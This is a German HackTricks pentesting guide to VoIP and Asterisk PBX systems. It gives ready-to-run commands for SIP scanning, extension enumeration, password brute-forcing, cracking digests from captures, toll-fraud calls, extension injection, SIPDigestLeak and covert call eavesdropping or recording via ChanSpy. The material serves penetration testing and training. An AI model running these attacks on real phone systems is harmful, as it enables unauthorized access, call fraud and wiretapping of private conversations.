mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 17:44:47 +00:00
521 lines
34 KiB
Markdown
521 lines
34 KiB
Markdown
# Pentesting VoIP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
|
|
|
|
</details>
|
|
|
|
## VoIP Grundlegende Informationen
|
|
|
|
Um mehr über die Funktionsweise von VoIP zu erfahren, überprüfen Sie:
|
|
|
|
{% content-ref url="basic-voip-protocols/" %}
|
|
[basic-voip-protocols](basic-voip-protocols/)
|
|
{% endcontent-ref %}
|
|
|
|
## VoIP Enumeration
|
|
|
|
### Telefonnummern
|
|
|
|
Einer der ersten Schritte, den ein Red Team unternehmen könnte, besteht darin, verfügbare Telefonnummern zu suchen, um mit dem Unternehmen Kontakt aufzunehmen. Hierfür können OSINT-Tools, Google-Suchen oder das Scrapen von Webseiten verwendet werden.
|
|
|
|
Sobald Sie die Telefonnummern haben, können Sie Online-Dienste verwenden, um den Betreiber zu identifizieren:
|
|
|
|
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
|
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
|
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
|
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
|
|
|
Wenn Sie wissen, ob der Betreiber VoIP-Dienste anbietet, können Sie feststellen, ob das Unternehmen VoIP verwendet... Darüber hinaus ist es möglich, dass das Unternehmen keine VoIP-Dienste in Anspruch genommen hat, sondern PSTN-Karten verwendet, um seine eigene VoIP-PBX mit dem herkömmlichen Telefonnetz zu verbinden.
|
|
|
|
Dinge wie automatisierte Musikantworten deuten in der Regel darauf hin, dass VoIP verwendet wird.
|
|
|
|
### Google Dorks
|
|
```bash
|
|
# Grandstream phones
|
|
intitle:"Grandstream Device Configuration" Password
|
|
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
|
|
|
|
# Cisco Callmanager
|
|
inurl:"ccmuser/logon.asp"
|
|
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
|
|
|
|
# Cisco phones
|
|
inurl:"NetworkConfiguration" cisco
|
|
|
|
# Linksys phones
|
|
intitle:"Sipura SPA Configuration"
|
|
|
|
# Snom phones
|
|
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
|
|
|
|
# Polycom SoundPoint IP & phones
|
|
intitle:"SoundPoint IP Configuration Utility - Registration"
|
|
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
|
|
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
|
|
intitle:"Polycom Login" inurl:"/login.html"
|
|
intitle:"Polycom Login" -.com
|
|
|
|
# Elastix
|
|
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
|
|
|
|
# FreePBX
|
|
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
|
|
```
|
|
### OSINT-Informationen
|
|
|
|
Jede andere OSINT-Untersuchung, die hilft, die verwendete VoIP-Software zu identifizieren, ist für ein Red Team hilfreich.
|
|
|
|
### Netzwerk-Enumeration
|
|
|
|
* **`nmap`** ist in der Lage, UDP-Dienste zu scannen, aber aufgrund der Anzahl der gescannten UDP-Dienste ist es sehr langsam und möglicherweise nicht sehr genau bei dieser Art von Diensten.
|
|
* **`svmap`** von SIPVicious (`sudo apt install sipvicious`): Ermittelt SIP-Dienste im angegebenen Netzwerk.
|
|
* `svmap` ist **leicht zu blockieren**, da es den User-Agent `friendly-scanner` verwendet, aber Sie könnten den Code von `/usr/share/sipvicious/sipvicious` ändern.
|
|
```bash
|
|
# Use --fp to fingerprint the services
|
|
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
|
```
|
|
* **`sipscan.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Sipscan ist ein sehr schneller Scanner für SIP-Dienste über UDP, TCP oder TLS. Er verwendet Multithreading und kann große Netzwerkbereiche scannen. Es ermöglicht das einfache Angeben eines Portbereichs, das Scannen von TCP & UDP, die Verwendung einer anderen Methode (standardmäßig wird OPTIONS verwendet) und das Angeben eines anderen User-Agents (und mehr).
|
|
```bash
|
|
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|
|
|
[!] IP/Network: 10.10.0.0/24
|
|
[!] Port range: 5060-5080
|
|
[!] Protocol: UDP, TCP, TLS
|
|
[!] Method to scan: REGISTER
|
|
[!] Customized User-Agent: Cisco
|
|
[!] Used threads: 200
|
|
|
|
```
|
|
* **metasploit**:
|
|
|
|
Metasploit ist ein leistungsstarkes Framework für Penetrationstests und Exploit-Entwicklung. Es bietet eine umfangreiche Sammlung von Exploits, Payloads, Tools und Modulen, die von Sicherheitsforschern und Penetrationstestern verwendet werden können, um Schwachstellen in Netzwerken, Betriebssystemen, Anwendungen und anderen Zielen zu identifizieren und auszunutzen. Metasploit ermöglicht es Benutzern, Angriffe zu automatisieren, Schwachstellen zu analysieren und Sicherheitslücken zu schließen. Es ist ein unverzichtbares Werkzeug für jeden, der in der IT-Sicherheit tätig ist.
|
|
```
|
|
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
|
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
|
```
|
|
#### Zusätzliche Netzwerk-Enumeration
|
|
|
|
Die PBX könnte auch andere Netzwerkdienste freigeben, wie zum Beispiel:
|
|
|
|
* **69/UDP (TFTP)**: Firmware-Updates
|
|
* **80 (HTTP) / 443 (HTTPS)**: Zur Verwaltung des Geräts über das Web
|
|
* **389 (LDAP)**: Alternative zur Speicherung von Benutzerinformationen
|
|
* **3306 (MySQL)**: MySQL-Datenbank
|
|
* **5038 (Manager)**: Ermöglicht die Verwendung von Asterisk von anderen Plattformen aus
|
|
* **5222 (XMPP)**: Nachrichten mit Jabber
|
|
* **5432 (PostgreSQL)**: PostgreSQL-Datenbank
|
|
* Und andere...
|
|
|
|
### Methoden-Enumeration
|
|
|
|
Es ist möglich, **herauszufinden, welche Methoden** in der PBX verwendet werden können, indem man `sipenumerate.py` aus [**sippts**](https://github.com/Pepelux/sippts) verwendet.
|
|
```bash
|
|
python3 sipenumerate.py -i 10.10.0.10 -r 5080
|
|
```
|
|
### Erweiterungsermittlung
|
|
|
|
Erweiterungen in einem PBX (Private Branch Exchange)-System beziehen sich auf die **eindeutigen internen Bezeichner, die einzelnen** Telefonleitungen, Geräten oder Benutzern innerhalb einer Organisation oder eines Unternehmens zugewiesen werden. Erweiterungen ermöglichen es, Anrufe innerhalb der Organisation effizient zu **leiten, ohne dass für jeden Benutzer oder jedes Gerät individuelle externe Telefonnummern erforderlich sind**.
|
|
|
|
* **`svwar`** von SIPVicious (`sudo apt install sipvicious`): `svwar` ist ein kostenloser SIP PBX-Erweiterungsscanner. Konzeptuell funktioniert es ähnlich wie herkömmliche Wardialer, indem es eine Reihe von Erweiterungen oder eine gegebene Liste von Erweiterungen **errät**.
|
|
```bash
|
|
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
|
```
|
|
* **`sipextend.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Sipexten identifiziert Erweiterungen auf einem SIP-Server. Sipexten kann große Netzwerk- und Portbereiche überprüfen.
|
|
```bash
|
|
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
|
|
```
|
|
* **metasploit**: Sie können auch Erweiterungen/Benutzernamen mit Metasploit aufzählen:
|
|
```
|
|
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
|
|
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
|
|
```
|
|
* **`enumiax` (`apt install enumiax`): enumIAX** ist ein Werkzeug zur Brute-Force-Enumeration von Benutzernamen für das Inter Asterisk Exchange-Protokoll. enumIAX kann in zwei verschiedenen Modi arbeiten: sequenzielles Raten von Benutzernamen oder Wörterbuchangriff.
|
|
```bash
|
|
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
|
|
enumiax -v -m3 -M3 10.10.0.10
|
|
```
|
|
## VoIP-Angriffe
|
|
|
|
### Passwort-Brute-Force
|
|
|
|
Nachdem das **PBX** und einige **Erweiterungen/Benutzernamen** entdeckt wurden, könnte ein Red Team versuchen, sich über die Methode `REGISTER` bei einer Erweiterung mit einem Wörterbuch gängiger Passwörter anzumelden, um die Authentifizierung per Brute-Force zu erzwingen.
|
|
|
|
{% hint style="danger" %}
|
|
Beachten Sie, dass ein **Benutzername** mit der Erweiterung identisch sein kann, aber diese Praxis kann je nach PBX-System, seiner Konfiguration und den Vorlieben der Organisation variieren...
|
|
|
|
Wenn der Benutzername nicht mit der Erweiterung identisch ist, müssen Sie den Benutzernamen herausfinden, um ihn per Brute-Force zu erzwingen.
|
|
{% endhint %}
|
|
|
|
* **`svcrack`** von SIPVicious (`sudo apt install sipvicious`): SVCrack ermöglicht es Ihnen, das Passwort für einen bestimmten Benutzernamen/Erweiterung auf einem PBX zu knacken.
|
|
```bash
|
|
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
|
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
|
```
|
|
* **`sipcrack.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIP Digest Crack ist ein Tool zum Knacken von Digest-Authentifizierungen im SIP-Protokoll.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|
```
|
|
{% endcode %}
|
|
|
|
* **Metasploit**:
|
|
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
|
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
|
|
|
### VoIP Sniffing
|
|
|
|
Wenn Sie VoIP-Geräte in einem **offenen WLAN-Netzwerk** finden, können Sie **alle Informationen abfangen**. Darüber hinaus können Sie, wenn Sie sich in einem geschlosseneren Netzwerk befinden (über Ethernet verbunden oder durch geschütztes WLAN), **MitM-Angriffe wie** [**ARP-Spoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) zwischen der **PBX und dem Gateway** durchführen, um die Informationen abzufangen.
|
|
|
|
Unter den Netzwerkinformationen können Sie **Web-Anmeldeinformationen** zum Verwalten der Geräte, Benutzer-**Erweiterungen**, **Benutzernamen**, **IP-Adressen**, sogar **gehashte Passwörter** und **RTP-Pakete** finden, die Sie reproduzieren können, um das Gespräch zu **hören**, und mehr.
|
|
|
|
Um diese Informationen zu erhalten, können Sie Tools wie Wireshark, tcpdump... verwenden, aber ein **speziell entwickeltes Tool zum Abhören von VoIP-Gesprächen ist** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
|
|
|
{% hint style="danger" %}
|
|
Beachten Sie, dass Sie, wenn **TLS in der SIP-Kommunikation verwendet wird**, die SIP-Kommunikation nicht im Klartext sehen können.\
|
|
Das Gleiche gilt, wenn **SRTP** und **ZRTP** verwendet werden, **RTP-Pakete werden nicht im Klartext** übertragen.
|
|
{% endhint %}
|
|
|
|
#### SIP-Anmeldeinformationen
|
|
|
|
[Überprüfen Sie dieses Beispiel, um eine **SIP REGISTER-Kommunikation** besser zu verstehen](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), um zu erfahren, wie **Anmeldeinformationen gesendet werden**.
|
|
|
|
* **`sipdump`** & **`sipcrack`,** Teil von **sipcrack** (`apt-get install sipcrack`): Diese Tools können aus einem **pcap** die **Digest-Authentifizierungen** im SIP-Protokoll **extrahieren** und sie **bruteforcen**.
|
|
```bash
|
|
sipdump -p net-capture.pcap sip-creds.txt
|
|
sipcrack sip-creds.txt -w dict.txt
|
|
```
|
|
* **`siptshar.py`, `sipdump.py`, `sipcrack.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:**
|
|
* **SipTshark** extrahiert Daten des SIP-Protokolls aus einer PCAP-Datei.
|
|
* **SipDump** extrahiert SIP-Digest-Authentifizierungen aus einer PCAP-Datei.
|
|
* **SIP Digest Crack** ist ein Tool zum Knacken von Digest-Authentifizierungen im SIP-Protokoll.
|
|
```bash
|
|
python3 siptshark.py -f captura3.pcap [-filter auth]
|
|
python3 sipdump.py -f captura3.pcap -o data.txt
|
|
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
|
|
```
|
|
#### DTMF-Codes
|
|
|
|
Nicht nur SIP-Anmeldeinformationen können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise zum Zugriff auf die Voicemail verwendet werden.\
|
|
Es ist möglich, diese Codes in INFO-SIP-Nachrichten, in Audio oder innerhalb von RTP-Paketen zu senden. Wenn die Codes in RTP-Paketen enthalten sind, können Sie diesen Teil des Gesprächs ausschneiden und das Tool multimo verwenden, um sie zu extrahieren:
|
|
```bash
|
|
multimon -a DTMF -t wac pin.wav
|
|
```
|
|
### Kostenlose Anrufe / Fehlkonfigurationen von Asterisk-Verbindungen
|
|
|
|
In Asterisk ist es möglich, eine Verbindung **von einer bestimmten IP-Adresse** oder von **beliebigen IP-Adressen** zuzulassen:
|
|
```
|
|
host=10.10.10.10
|
|
host=dynamic
|
|
```
|
|
Wenn eine IP-Adresse angegeben ist, muss der Host **nicht regelmäßig REGISTER-Anfragen senden** (im REGISTER-Paket wird die Time-to-Live angegeben, normalerweise 30 Minuten, was bedeutet, dass das Telefon in anderen Szenarien alle 30 Minuten REGISTER senden muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server zulassen, um Anrufe entgegenzunehmen.
|
|
|
|
Benutzer können wie folgt definiert werden:
|
|
|
|
* **`type=user`**: Der Benutzer kann nur Anrufe als Benutzer empfangen.
|
|
* **`type=friend`**: Es ist möglich, Anrufe als Peer durchzuführen und sie als Benutzer zu empfangen (wird mit Erweiterungen verwendet).
|
|
* **`type=peer`**: Es ist möglich, Anrufe als Peer zu senden und zu empfangen (SIP-Trunks).
|
|
|
|
Es ist auch möglich, Vertrauen mit der unsicheren Variable herzustellen:
|
|
|
|
* **`insecure=port`**: Erlaubt Peer-Verbindungen, die durch IP validiert werden.
|
|
* **`insecure=invite`**: Erfordert keine Authentifizierung für INVITE-Nachrichten.
|
|
* **`insecure=port,invite`**: Beides.
|
|
|
|
{% hint style="warning" %}
|
|
Wenn **`type=friend`** verwendet wird, wird der **Wert** der **host**-Variable **nicht verwendet**. Wenn ein Administrator einen SIP-Trunk mit diesem Wert falsch konfiguriert, kann **jeder darauf zugreifen**.
|
|
|
|
Beispiel für eine verwundbare Konfiguration:\
|
|
`host=10.10.10.10`\
|
|
`insecure=port,invite`\
|
|
`type=friend`
|
|
{% endhint %}
|
|
|
|
### Kostenlose Anrufe / Fehlkonfigurationen des Asterisk-Kontexts
|
|
|
|
In Asterisk ist ein **Kontext** ein benannter Container oder Abschnitt im Dialplan, der **zusammengehörige Erweiterungen, Aktionen und Regeln** gruppiert. Der Dialplan ist die Kernkomponente eines Asterisk-Systems, da er definiert, **wie eingehende und ausgehende Anrufe behandelt und geroutet werden**. Kontexte werden verwendet, um den Dialplan zu organisieren, den Zugriff zu steuern und eine Trennung zwischen verschiedenen Teilen des Systems bereitzustellen.
|
|
|
|
Jeder Kontext wird in der Konfigurationsdatei definiert, normalerweise in der Datei **`extensions.conf`**. Kontexte werden durch eckige Klammern gekennzeichnet, wobei der Kontextname darin eingeschlossen ist. Zum Beispiel:
|
|
```bash
|
|
csharpCopy code[my_context]
|
|
```
|
|
Im Kontext definieren Sie Erweiterungen (Muster von gewählten Nummern) und ordnen ihnen eine Reihe von Aktionen oder Anwendungen zu. Diese Aktionen bestimmen, wie der Anruf verarbeitet wird. Zum Beispiel:
|
|
```scss
|
|
[my_context]
|
|
exten => 100,1,Answer()
|
|
exten => 100,n,Playback(welcome)
|
|
exten => 100,n,Hangup()
|
|
```
|
|
Dieses Beispiel zeigt einen einfachen Kontext namens "my\_context" mit einer Erweiterung "100". Wenn jemand die Nummer 100 wählt, wird der Anruf entgegengenommen, eine Begrüßungsnachricht wird abgespielt und dann wird der Anruf beendet.
|
|
|
|
Dies ist ein **weiterer Kontext**, der es ermöglicht, **eine beliebige andere Nummer anzurufen**:
|
|
```scss
|
|
[external]
|
|
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
|
```
|
|
Wenn der Administrator den **Standardkontext** wie folgt definiert:
|
|
```
|
|
[default]
|
|
include => my_context
|
|
include => external
|
|
```
|
|
{% hint style="warning" %}
|
|
Jeder kann den Server verwenden, um eine Verbindung zu einer beliebigen anderen Nummer herzustellen (und der Serveradministrator bezahlt für den Anruf).
|
|
{% endhint %}
|
|
|
|
{% hint style="danger" %}
|
|
Darüber hinaus enthält die **`sip.conf`**-Datei standardmäßig **`allowguest=true`**, sodass **jeder** Angreifer ohne Authentifizierung eine Verbindung zu einer beliebigen anderen Nummer herstellen kann.
|
|
{% endhint %}
|
|
|
|
* **`sipinvite.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Sipinvite überprüft, ob ein **PBX-Server uns erlaubt, Anrufe ohne Authentifizierung** durchzuführen. Wenn der SIP-Server eine falsche Konfiguration hat, erlaubt er uns, Anrufe zu externen Nummern zu tätigen. Es kann uns auch erlauben, den Anruf an eine zweite externe Nummer weiterzuleiten.
|
|
|
|
Wenn zum Beispiel Ihr Asterisk-Server eine schlechte Kontextkonfiguration hat, können Sie INVITE-Anfragen ohne Autorisierung akzeptieren. In diesem Fall kann ein Angreifer Anrufe tätigen, ohne Benutzername und Passwort zu kennen.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
|
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
|
|
|
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
|
|
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
|
|
```
|
|
{% endcode %}
|
|
|
|
### Kostenlose Anrufe / Fehlkonfigurierte IVRS
|
|
|
|
IVRS steht für **Interactive Voice Response System**, eine Telefontechnologie, die es Benutzern ermöglicht, mit einem computergesteuerten System über Sprach- oder Tonwahl-Eingaben zu interagieren. IVRS wird verwendet, um **automatisierte Anrufbearbeitungs**-Systeme aufzubauen, die eine Reihe von Funktionen bieten, wie z.B. Informationen bereitstellen, Anrufe weiterleiten und Benutzereingaben erfassen.
|
|
|
|
IVRS in VoIP-Systemen besteht typischerweise aus:
|
|
|
|
1. **Sprachansagen**: Vorab aufgezeichnete Audio-Nachrichten, die Benutzer durch die IVR-Menüoptionen und Anweisungen führen.
|
|
2. **DTMF** (Dual-Tone Multi-Frequency) Signalisierung: Tonwahl-Eingaben, die durch Drücken von Tasten am Telefon erzeugt werden und zur Navigation durch die IVR-Menüs und zur Eingabe verwendet werden.
|
|
3. **Anrufweiterleitung**: Weiterleitung von Anrufen an das entsprechende Ziel, wie z.B. bestimmte Abteilungen, Agenten oder Erweiterungen basierend auf Benutzereingaben.
|
|
4. **Erfassung von Benutzereingaben**: Erfassung von Informationen von Anrufern, wie z.B. Kontonummern, Fall-IDs oder anderen relevanten Daten.
|
|
5. **Integration mit externen Systemen**: Verbindung des IVR-Systems mit Datenbanken oder anderen Software-Systemen, um Informationen abzurufen oder zu aktualisieren, Aktionen durchzuführen oder Ereignisse auszulösen.
|
|
|
|
In einem Asterisk VoIP-System können Sie eine IVR mit Hilfe des Wählplans (**`extensions.conf`**-Datei) und verschiedenen Anwendungen wie `Background()`, `Playback()`, `Read()` und mehr erstellen. Diese Anwendungen helfen Ihnen dabei, Sprachansagen abzuspielen, Benutzereingaben zu erfassen und den Anruffluss zu steuern.
|
|
|
|
#### Beispiel für eine verwundbare Konfiguration
|
|
```scss
|
|
exten => 0,100,Read(numbers,the_call,,,,5)
|
|
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
|
|
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|
exten => 0,104,Dial(LOCAL/${numbers})
|
|
```
|
|
Das vorherige Beispiel zeigt, wie der Benutzer aufgefordert wird, **1 zu drücken, um eine Abteilung anzurufen**, **2, um eine andere Abteilung anzurufen**, oder **die vollständige Durchwahl**, wenn er sie kennt.\
|
|
Die Schwachstelle besteht darin, dass die angegebene **Durchwahl-Länge nicht überprüft wird, sodass ein Benutzer eine vollständige Nummer eingeben kann und diese angerufen wird.**
|
|
|
|
### Durchwahl-Injection
|
|
|
|
Verwendung einer Durchwahl wie:
|
|
```scss
|
|
exten => _X.,1,Dial(SIP/${EXTEN})
|
|
```
|
|
Wo **`${EXTEN}`** die **Erweiterung** ist, die angerufen wird, wenn die **Erweiterung 101 eingegeben wird**, würde Folgendes passieren:
|
|
```scss
|
|
exten => 101,1,Dial(SIP/101)
|
|
```
|
|
Jedoch, wenn **`${EXTEN}`** es erlaubt, **mehr als nur Zahlen** einzugeben (wie in älteren Asterisk-Versionen), könnte ein Angreifer **`101&SIP123123123`** eingeben, um die Telefonnummer 123123123 anzurufen. Und das wäre das Ergebnis:
|
|
```scss
|
|
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|
```
|
|
Daher wird ein Anruf an die Erweiterung **`101`** und **`123123123`** gesendet und nur der erste Anruf wird hergestellt... aber wenn ein Angreifer eine **Erweiterung verwendet, die jede durchgeführte Übereinstimmung umgeht**, aber nicht existiert, könnte er einen Anruf nur an die gewünschte Nummer **einschleusen**.
|
|
|
|
## SIPDigestLeak
|
|
|
|
Die SIP Digest Leak ist eine Schwachstelle, die eine große Anzahl von SIP-Telefonen betrifft, einschließlich Hardware- und Software-IP-Telefonen sowie Telefonadaptern (VoIP zu Analog). Die Schwachstelle ermöglicht das **Lecken der Digest-Authentifizierungsantwort**, die aus dem Passwort berechnet wird. Ein **Offline-Passwortangriff ist dann möglich** und kann die meisten Passwörter anhand der Challenge-Response wiederherstellen.
|
|
|
|
**[Szenario der Schwachstelle hier**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
|
|
|
1. Ein IP-Telefon (Opfer) hört auf Port 5060 und akzeptiert Telefonanrufe.
|
|
2. Der Angreifer sendet ein INVITE an das IP-Telefon.
|
|
3. Das Opfer-Telefon beginnt zu klingeln und jemand nimmt ab und legt auf (weil niemand am anderen Ende das Telefon abnimmt).
|
|
4. Wenn das Telefon aufgelegt wird, sendet das **Opfer-Telefon ein BYE an den Angreifer**.
|
|
5. Der Angreifer gibt eine 407-Antwort aus, die **nach Authentifizierung fragt** und eine Authentifizierungsherausforderung ausgibt.
|
|
6. Das **Opfer-Telefon gibt eine Antwort auf die Authentifizierungsherausforderung** in einem zweiten BYE.
|
|
7. Der Angreifer kann dann einen Brute-Force-Angriff auf die Challenge-Response auf seinem lokalen Rechner (oder im verteilten Netzwerk usw.) durchführen und das Passwort erraten.
|
|
|
|
* **sipdigestleak.py** von [**sippts**](https://github.com/Pepelux/sippts)**:** SipDigestLeak nutzt diese Schwachstelle aus.
|
|
```bash
|
|
python3 sipdigestleak.py -i 10.10.0.10
|
|
|
|
[!] Target: 10.10.0.10:5060/UDP
|
|
[!] Caller: 100
|
|
[!] Callee: 100
|
|
|
|
[=>] Request INVITE
|
|
[<=] Response 100 Trying
|
|
[<=] Response 180 Ringing
|
|
[<=] Response 200 OK
|
|
[=>] Request ACK
|
|
... waiting for BYE ...
|
|
[<=] Received BYE
|
|
[=>] Request 407 Proxy Authentication Required
|
|
[<=] Received BYE with digest
|
|
[=>] Request 200 Ok
|
|
|
|
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
|
|
```
|
|
### Click2Call
|
|
|
|
Click2Call ermöglicht es einem **Webbenutzer** (der zum Beispiel an einem Produkt interessiert sein könnte), seine **Telefonnummer einzugeben**, um einen Anruf zu erhalten. Dann wird ein Werbeanruf getätigt und wenn der Benutzer **den Hörer abnimmt**, wird er **angerufen und mit dem Agenten verbunden**.
|
|
|
|
Ein gängiges Asterisk-Profil dafür ist:
|
|
```scss
|
|
[web_user]
|
|
secret = complex_password
|
|
deny = 0.0.0.0/0.0.0.0
|
|
allow = 0.0.0.0/0.0.0.0
|
|
displayconnects = yes
|
|
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|
write = system,call,agent,user,config,command,reporting,originate
|
|
```
|
|
* Das vorherige Profil erlaubt **jede IP-Adresse, eine Verbindung herzustellen** (wenn das Passwort bekannt ist).
|
|
* Um einen Anruf zu **organisieren**, wie zuvor angegeben, ist **keine Leseberechtigung erforderlich**, sondern nur das Recht, **auszugehen** und **zu schreiben**.
|
|
|
|
Mit diesen Berechtigungen könnte sich jede IP-Adresse mit Kenntnis des Passworts verbinden und zu viele Informationen extrahieren, wie zum Beispiel:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Get all the peers
|
|
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
|
```
|
|
{% endcode %}
|
|
|
|
**Weitere Informationen oder Aktionen können angefordert werden.**
|
|
|
|
### **Abhören**
|
|
|
|
In Asterisk ist es möglich, den Befehl **`ChanSpy`** zu verwenden, um die **zu überwachenden Erweiterungen** (oder alle) anzugeben und Gespräche abzuhören. Dieser Befehl muss einer Erweiterung zugewiesen werden.
|
|
|
|
Zum Beispiel gibt **`exten => 333,1,ChanSpy('all',qb)`** an, dass wenn Sie die **Erweiterung 333** anrufen, alle Erweiterungen **überwacht** werden, und dass das Abhören beginnt, sobald ein neues Gespräch beginnt (**`b`**) und im leisen Modus (**`q`**), da wir nicht damit interagieren möchten. Sie können von einem laufenden Gespräch zum nächsten wechseln, indem Sie **`*`** drücken oder die Erweiterungsnummer markieren.
|
|
|
|
Es ist auch möglich, **`ExtenSpy`** zu verwenden, um nur eine Erweiterung zu überwachen.
|
|
|
|
Anstatt die Gespräche anzuhören, können sie auch in Dateien **aufgezeichnet** werden, indem eine Erweiterung wie folgt verwendet wird:
|
|
|
|
{% code overflow="wrap" %}
|
|
```scss
|
|
[recorded-context]
|
|
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
|
|
exten => _X.,2,MixMonitor(${NAME})
|
|
```
|
|
{% endcode %}
|
|
|
|
Anrufe werden in **`/tmp`** gespeichert.
|
|
|
|
Sie könnten sogar Asterisk dazu bringen, **ein Skript auszuführen, das den Anruf preisgibt**, wenn er beendet wird.
|
|
```scss
|
|
exten => h,1,System(/tmp/leak_conv.sh &)
|
|
```
|
|
### RTCPBleed
|
|
|
|
**RTCPBleed** ist ein schwerwiegendes Sicherheitsproblem, das Asterisk-basierte VoIP-Server betrifft (veröffentlicht im Jahr 2017). Die Schwachstelle ermöglicht es, dass **RTP (Real Time Protocol) Traffic**, der VoIP-Gespräche trägt, von jedem im Internet abgefangen und umgeleitet werden kann. Dies geschieht, weil RTP-Traffic die Authentifizierung umgeht, wenn er durch NAT (Network Address Translation) Firewalls navigiert.
|
|
|
|
